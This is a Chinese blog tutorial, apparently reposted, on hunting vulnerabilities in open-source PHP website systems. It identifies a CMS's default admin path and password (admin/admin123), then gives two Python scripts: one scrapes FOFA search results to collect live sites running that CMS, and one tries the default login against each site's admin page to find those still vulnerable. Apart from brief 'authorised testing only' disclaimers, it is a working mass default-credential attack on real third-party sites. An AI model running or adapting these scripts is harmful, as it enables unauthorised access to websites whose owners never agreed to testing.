漏洞挖掘技巧-开源程序漏洞挖掘
Posted 告白热
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞挖掘技巧-开源程序漏洞挖掘相关的知识,希望对你有一定的参考价值。
0x00 开源程序介绍
挖掘漏洞的时候挖掘的对象的框架涉及到两种:
第一种是闭源框架,闭源框架里面涉及到两种,一是个人开发,不对外使用,或者未公开,二是商用型,需要甲方购买使用,这些一般都是闭源的,很难拿到源码。
第二种是开源框架,也就是我们今天要讲的,开源框架既你可以在网上获取到源码信息。能够获取到源码。那操作空间不就来了嘛?
0x01 某开源程序漏洞挖掘
(1)源码获取
现在网上的源码网站很多,这里推荐一个作为示范
https://down.chinaz.com/
选取开源程序需要注意:
1.源码是否最近有更新,不要选取太老旧的框架,避免后期信息收集很难。
2.还要选取热度比较高的源码,说明使用的对象多,后面的信息收集,挖掘的对象也就多。
3.还要注意源码的脚本类型,简单介绍一下,常见的脚本类型,php,Python,C,java等,这里推荐挖掘php的源码程序,因为相对于其他类型的源码,php还是比较容易挖掘,相对于java,难度系数就很大。
4.这里我们选择了一个php类型的建站系统,下载进行挖掘
(2)基本信息收集
选取了对应的源码,第二步开始信息收集,首先需要收集源码的基本信息,比如默认后台,默认的接口,以及一切默认的账户密码,这些都不能忽略。
这里看到默认的产品说明,记录了网站的默认后台以及账户密码
后台网址: ../admindm-yourname/g.php
用户名:admin 密码: admin123
接下来我们可以对这个后台进行广泛的信息收集,看有没有粗心的程序员使用的默认账户后台,
(3)fofa信息收集后台:
fofa:"admindm-yourname"
这里问题来了,找到对应的框架网站,如何找到后台呢?我们可以模拟建站,或者到网上搜索该源码的示例网站,
后台地址:/admindmyourname/mod_common/login.php
通过源码里面看到,后台的字段名其实可以修改,但是不避免有粗心的程序员未修改,这里我们拼接刚刚的后台路径,发现成功加入后台,
下一步,尝试弱口令,抓到一个粗心的程序员!!!妥妥的弱口令不旧来了嘛,后面可以尝试其他的权限获取,但是要在授权的情况下,安全测试,出事均由本人承担相应责任,/狗头
(4)批量收集后台,批量挖掘弱口令
思路和方法都清晰了,下面我们进行批量的信息收集和挖掘弱口令
fofa批量爬取对象:
import requests
import base64
from lxml import etree
import time
search_data='"admindm-yourname"' #条件
headers=
'cookie':'你的cookie',
for yeshu in range(1,6):
url='https://fofa.so/result?page='+str(yeshu)+'&qbase64='
search_data_bs=str(base64.b64encode(search_data.encode("utf-8")),"utf-8")
urls=url+search_data_bs
print(urls)
try:
print('正在提取第'+str(yeshu)+'页')
result=requests.get(urls,headers=headers).content
soup=etree.html(result)
ip_data=soup.xpath('//span[@class="aSpan"]/a[@target="_blank"]/@href')
ipdata='\\n'.join(ip_data)
print(ip_data)
with open(r'./dm.txt','a+') as f:
f.write(ipdata+'\\n')
f.close()
time.sleep(0.5)
except Exception as e:
pass
python批量验证:
import requests
def check_login():
data=
'user':'admin',
'password':'admin123'
for url in open('dm.txt'):
url= url.replace('\\n','')
urls= url+'/admindm-yourname/mod_common/login.php'
try:
result =requests.post(urls,data=data).content.decode('utf-8')
if 'sorry' in result: #sorry可以适当修改条件
print(url+'不存在')
else:
print(url+'存在')
except Exception as e:
pass
if __name__ == '__main__':
check_login()
逐一验证即可!
(4)源码审计挖掘
需要一定php基础,读懂代码复现漏洞
代码审计后本地自主搭建,测试漏洞,请勿非法测试!后果皆由测试本人承担!
seay代码审计:自行审计测试,这里就不作演示
请勿非法测试!文章作为思路学习开源的项目挖掘,还请师傅们多多提意见
以上是关于漏洞挖掘技巧-开源程序漏洞挖掘的主要内容,如果未能解决你的问题,请参考以下文章